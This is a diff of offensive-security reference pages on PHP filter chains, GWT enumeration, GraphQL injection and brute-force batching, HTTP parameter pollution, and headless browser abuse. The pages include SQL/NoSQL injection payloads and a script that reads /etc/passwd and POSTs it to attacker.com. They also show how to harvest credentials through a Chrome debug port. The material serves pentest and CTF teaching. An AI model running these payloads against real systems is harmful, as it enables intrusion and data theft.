+?>
+```
+
+### Leak file content using blind file read primitive
+
+- [ambionics/lightyear](https://github.com/ambionics/lightyear)
+
+```ps1
+code remote.py # edit Remote.oracle
+./lightyear.py test # test that your implementation works
+./lightyear.py /etc/passwd # dump a file!
+```
+
+## References
+
+- [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
+- [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - May 27, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
+- [Introducing lightyear: a new way to dump PHP files - Charles Fol - November 4, 2024](https://www.ambionics.io/blog/lightyear-file-dump)
+- [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - December 11, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
+- [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - August 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
+- [New PHP Exploitation Technique - Dr. Johannes Dahse - August 14, 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
+- [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - June 14, 2024](https://youtu.be/dqKFHjcK9hM)
+- [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
+- [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - October 18, 2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
+- [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - December 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)

Google Web Toolkit/README.md

@@ -0,0 +1,64 @@
+# Google Web Toolkit
+
+> Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+* [References](#references)
+
+## Tools
+
+* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications.
+* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications.
+
+## Methodology
+
+* Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
+
+    ```ps1
+    ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
+    ```
+
+* Enumerate the methods of a remote application via a specific code permutation
+
+    ```ps1
+    ./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
+    ```
+
+* Enumerate the methods whilst routing traffic through an HTTP proxy:
+
+    ```ps1
+    ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
+    ```
+
+* Enumerate the methods of a local copy (a file) of any given permutation:
+
+    ```ps1
+    ./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
+    ```
+
+* Filter output to a specific service or method:
+
+    ```ps1
+    ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login
+    ```
+
+* Generate RPC payloads for all methods of the filtered service, with coloured output
+
+    ```ps1
+    ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
+    ```
+
+* Automatically test (probe) the generate RPC request for the filtered service method
+
+    ```ps1
+    ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
+    ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe
+    ```
+
+## References
+
+* [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
+* [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://thehackerish.com/hacking-a-google-web-toolkit-application/)

GraphQL Injection/README.md

@@ -1,32 +1,65 @@
-# GraphQL injection
+# GraphQL Injection
 
 > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
 
-
 ## Summary
 
-* [Tools](#tools)
+- [Tools](#tools)
-* [Exploit](#exploit)
+- [Enumeration](#enumeration)
-  * [Identify an injection point](#identify-an-injection-point)
+    - [Common GraphQL Endpoints](#common-graphql-endpoints)
-  * [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
+    - [Identify An Injection Point](#identify-an-injection-point)
-  * [Extract data](#extract-data)
+    - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
-  * [Enumerate the types' definition](#enumerate-the-type-definition)
+    - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
-  * [Use mutations](#use-mutations)
+    - [Enumerate Types Definition](#enumerate-types-definition)
-  * [NOSQL injection](#nosql-injection)
+    - [List Path To Reach A Type](#list-path-to-reach-a-type)
-  * [SQL injection](#sql-injection)
+- [Methodology](#methodology)
-* [References](#references)
+    - [Extract Data](#extract-data)
+    - [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
+    - [Extract Data Using Projections](#extract-data-using-projections)
+    - [Mutations](#mutations)
+    - [GraphQL Batching Attacks](#graphql-batching-attacks)
+        - [JSON List Based Batching](#json-list-based-batching)
+        - [Query Name Based Batching](#query-name-based-batching)
+- [Injections](#injections)
+    - [NOSQL Injection](#nosql-injection)
+    - [SQL Injection](#sql-injection)
+- [Labs](#labs)
+- [References](#references)
 
 ## Tools
 
-* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
+- [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
-* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
+- [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
-* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
+- [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
+- [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
+- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
+- [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
+- [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
+- [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
+- [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
+- [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
+- [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
+- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
 
-## Exploit
+## Enumeration
 
-### Identify an injection point
+### Common GraphQL Endpoints
 
-Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
+Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.
+A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
+
+```ps1
+/v1/explorer
+/v1/graphiql
+/graph
+/graphql
+/graphql/console/
+/graphql.php
+/graphiql
+/graphiql.php
+```
+
+### Identify An Injection Point
 
 ```js
 example.com/graphql?query={__schema{types{name}}}
@@ -41,7 +74,6 @@ Check if errors are visible.
 ?query={thisdefinitelydoesnotexist}
 ```
 
-
 ### Enumerate Database Schema via Introspection
 
 URL encoded query to dump the database schema.
@@ -149,17 +181,29 @@ query IntrospectionQuery {
 }
 ```
 
-
+Single line queries to dump the database schema without fragments.
-### Extract data
 
 ```js
-example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
+__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
 ```
 
-![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
+```js
+{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
+```
 
+### Enumerate Database Schema via Suggestions
 
-### Enumerate the types' definition 
+When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
+
+```json
+{
+  "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
+}
+```
+
+You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
+
+### Enumerate Types Definition
 
 Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
 
@@ -167,7 +211,64 @@ Enumerate the definition of interesting types using the following GraphQL query,
 {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
 ```
 
-### Use mutations
+### List Path To Reach A Type
+
+```php
+$ git clone https://gitlab.com/dee-see/graphql-path-enum
+$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
+Found 27 ways to reach the "Skill" node from the "Query" node:
+- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
+- Query (query) -> Query (skills) -> Skill
+```
+
+## Methodology
+
+### Extract Data
+
+```js
+example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
+```
+
+![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
+
+### Extract Data Using Edges/Nodes
+
+```json
+{
+  "query": "query {
+    teams{
+      total_count,edges{
+        node{
+          id,_id,about,handle,state
+        }
+      }
+    }
+  }"
+} 
+```
+
+### Extract Data Using Projections
+
+:warning: Don’t forget to escape the " inside the **options**.
+
+```js
+{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
+```
+
+### Mutations
 
 Mutations work like function, you can use them to interact with the GraphQL.
 
@@ -176,11 +277,65 @@ Mutations work like function, you can use them to interact with the GraphQL.
 # mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
 ```
 
-### NOSQL injection
+### GraphQL Batching Attacks
 
-Use `$regex`, `$ne` from []() inside a `search` parameter.
+Common scenario:
+
+- Password Brute-force Amplification Scenario
+- Rate Limit bypass
+- 2FA bypassing
+
+#### JSON List Based Batching
+
+> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
+
+Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
 
 ```json
+[
+    {
+        "query":"..."
+    },{
+        "query":"..."
+    }
+    ,{
+        "query":"..."
+    }
+    ,{
+        "query":"..."
+    }
+    ...
+]
+```
+
+#### Query Name Based Batching
+
+```json
+{
+    "query": "query { qname: Query { field1 } qname1: Query { field1 } }"
+}
+```
+
+Send the same mutation several times using aliases
+
+```js
+mutation {
+  login(pass: 1111, username: "bob")
+  second: login(pass: 2222, username: "bob")
+  third: login(pass: 3333, username: "bob")
+  fourth: login(pass: 4444, username: "bob")
+}
+```
+
+## Injections
+
+> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
+
+### NOSQL Injection
+
+Use `$regex` inside a `search` parameter.
+
+```js
 {
   doctors(
     options: "{\"limit\": 1, \"patients.ssn\" :1}", 
@@ -191,8 +346,19 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
 }
 ```
 
+### SQL Injection
 
-### SQL injection
+Send a single quote `'` inside a graphql parameter to trigger the SQL injection
+
+```js
+{ 
+    bacon(id: "1'") { 
+        id, 
+        type, 
+        price
+    }
+}
+```
 
 Simple SQL injection inside a graphql field.
 
@@ -200,18 +366,35 @@ Simple SQL injection inside a graphql field.
 curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
 ```
 
+## Labs
+
+- [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
+- [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
+- [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
+- [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
+- [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
+- [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
+- [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
+- [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
+- [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
 
 ## References
 
-* [Introduction to GraphQL](https://graphql.org/learn/)
+- [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://escape.tech/blog/graphql-security-wordlist/)
-* [GraphQL Introspection](https://graphql.org/learn/introspection/)
+- [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
-* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
+- [GraphQL Batching Attack - Wallarm - December 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
-* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
+- [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://acceis.github.io/prez-graphql/)
-* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
+- [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
-* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
+- [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
-* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
+- [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://labs.detectify.com/2018/03/14/graphql-abuse/)
-* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
+- [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
-* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
+- [GraphQL cheatsheet - devhints.io - November 7, 2018](https://devhints.io/graphql)
-* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
+- [GraphQL Introspection - GraphQL - August 21, 2024](https://graphql.org/learn/introspection/)
-* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
+- [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
-* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
+- [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
+- [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
+- [Introduction to GraphQL - GraphQL - November 1, 2024](https://graphql.org/learn/)
+- [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://hackerone.com/reports/291531)
+- [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
+- [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
+- [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://hackerone.com/reports/435066)

HTTP Parameter Pollution/README.md

@@ -0,0 +1,100 @@
+# HTTP Parameter Pollution
+
+> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [Parameter Pollution Table](#parameter-pollution-table)
+    * [Parameter Pollution Payloads](#parameter-pollution-payloads)
+* [References](#references)
+
+## Tools
+
+* **Burp Suite**: Manually modify requests to test duplicate parameters.
+* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
+
+## Methodology
+
+HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
+
+HPP can target two levels:
+
+* Client-Side HPP: Exploits JavaScript code running on the client (browser).
+* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
+
+**Examples**:
+
+```ps1
+/app?debug=false&debug=true
+/transfer?amount=1&amount=5000
+```
+
+### Parameter Pollution Table
+
+When ?par1=a&par1=b
+
+| Technology                                      | Parsing Result           | outcome (par1=) |
+| ----------------------------------------------- | ------------------------ | --------------- |
+| ASP.NET/IIS                                     | All occurrences          | a,b             |
+| ASP/IIS                                         | All occurrences          | a,b             |
+| Golang net/http - `r.URL.Query().Get("param")`  | First occurrence         | a               |
+| Golang net/http - `r.URL.Query()["param"]`      | All occurrences in array | ['a','b']       |
+| IBM HTTP Server                                 | First occurrence         | a               |
+| IBM Lotus Domino                                | First occurrence         | a               |
+| JSP,Servlet/Tomcat                              | First occurrence         | a               |
+| mod_wsgi (Python)/Apache                        | First occurrence         | a               |
+| Nodejs                                          | All occurrences          | a,b             |
+| Perl CGI/Apache                                 | First occurrence         | a               |
+| Perl CGI/Apache                                 | First occurrence         | a               |
+| PHP/Apache                                      | Last occurrence          | b               |
+| PHP/Zues                                        | Last occurrence          | b               |
+| Python Django                                   | Last occurrence          | b               |
+| Python Flask                                    | First occurrence         | a               |
+| Python/Zope                                     | All occurrences in array | ['a','b']       |
+| Ruby on Rails                                   | Last occurrence          | b               |
+
+### Parameter Pollution Payloads
+
+* Duplicate Parameters:
+
+    ```ps1
+    param=value1&param=value2
+    ```
+
+* Array Injection:
+
+    ```ps1
+    param[]=value1
+    param[]=value1&param[]=value2
+    param[]=value1&param=value2
+    param=value1&param[]=value2
+    ```
+
+* Encoded Injection:
+
+    ```ps1
+    param=value1%26other=value2
+    ```
+
+* Nested Injection:
+
+    ```ps1
+    param[key1]=value1&param[key2]=value2
+    ```
+
+* JSON Injection:
+
+    ```ps1
+    {
+        "test": "user",
+        "test": "admin"
+    }
+    ```
+
+## References
+
+* [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
+* [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
+* [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)

Headless Browser/README.md

@@ -0,0 +1,192 @@
+# Headless Browser
+
+> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
+> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
+
+## Summary
+
+* [Headless Commands](#headless-commands)
+* [Local File Read](#local-file-read)
+* [Remote Debugging Port](#remote-debugging-port)
+* [Network](#network)
+    * [Port Scanning](#port-scanning)
+    * [DNS Rebinding](#dns-rebinding)
+* [CVE](#cve)
+* [References](#references)
+
+## Headless Commands
+
+Example of headless browsers commands:
+
+* Google Chrome
+
+    ```ps1
+    google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
+    ```
+
+* Mozilla Firefox
+
+    ```ps1
+    firefox --screenshot https://www.google.com
+    ```
+
+* Microsoft Edge
+
+    ```ps1
+    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
+    ```
+
+## Local File Read
+
+### Insecure Flags
+
+If the target is launched with the `--allow-file-access` option
+
+```ps1
+google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
+```
+
+Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
+
+```js
+<script>
+  async function getFlag(){
+    response = await fetch("file:///etc/passwd");
+    flag = await response.text();
+    fetch("https://attacker.com/", { method: "POST", body: flag})
+  };
+  getFlag();
+</script>
+```
+
+### PDF Rendering
+
+Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
+
+Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
+
+* Javascript Redirect
+
+    ```html
+    <html>
+        <body>
+            <script>
+                window.location="/etc/passwd"
+            </script>
+        </body>
+    </html>
+    ```
+
+* Iframe
+
+    ```html
+    <html>
+        <body>
+            <iframe src="/etc/passwd" height="640" width="640"></iframe>
+        </body>
+    </html>
+    ```
+
+## Remote Debugging Port
+
+The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
+
+**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
+
+**Tools**:
+
+* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
+* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
+
+> [!NOTE]  
+> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
+
+**Exploits**:
+
+* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
+* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
+* Data stored in the settings (username, passwords, token): `chrome://settings`
+* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
+* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
+
+    ```json
+    {
+        "Browser": "Chrome/136.0.7103.113",
+        "Protocol-Version": "1.3",
+        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
+        "V8-Version": "13.6.233.10",
+        "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
+        "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
+    }
+    ```
+
